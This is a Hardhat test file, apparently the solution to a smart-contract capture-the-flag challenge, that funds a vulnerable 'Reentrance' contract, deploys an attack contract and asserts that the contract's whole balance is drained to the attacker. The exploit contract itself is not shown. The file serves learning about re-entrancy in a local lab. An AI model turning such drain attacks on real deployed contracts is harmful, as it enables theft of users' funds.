-
Notifications
You must be signed in to change notification settings - Fork 0
/
Re-entrancy.test.js
47 lines (39 loc) · 1.47 KB
/
Re-entrancy.test.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
const { loadFixture } = require("@nomicfoundation/hardhat-network-helpers");
const { expect } = require("chai");
const { ethers } = require("hardhat");
const CONTRACT_NAME = "Reentrance";
const CONTRACT_NAME_ATTACK = "ReentraceAttack";
describe(CONTRACT_NAME, function () {
async function deployLoadFixture() {
const [owner, attacker] = await ethers.getSigners();
const Reentrancy = await ethers.getContractFactory(CONTRACT_NAME);
const reentrancy = await Reentrancy.deploy();
return { owner, attacker, reentrancy };
}
it("Challenge Solved", async function () {
let tx;
let { owner, attacker, reentrancy } = await loadFixture(deployLoadFixture);
// init the balances
tx = await reentrancy.donate(owner.address, { value: 10000 });
await tx.wait();
// deploy the attack contract
const AttackContract = await ethers.getContractFactory(
CONTRACT_NAME_ATTACK
);
let attackContract = await AttackContract.connect(attacker).deploy(
reentrancy.address
);
await attackContract.deployed();
// steal all the contract's balance
attackContract = attackContract.connect(attacker);
tx = await attackContract.attack({ value: 1000 });
await tx.wait();
// test
const balance = await ethers.provider.getBalance(reentrancy.address);
const attackBalance = await ethers.provider.getBalance(
attackContract.address
);
expect(balance).to.equal(0);
expect(attackBalance).to.equal(11000);
});
});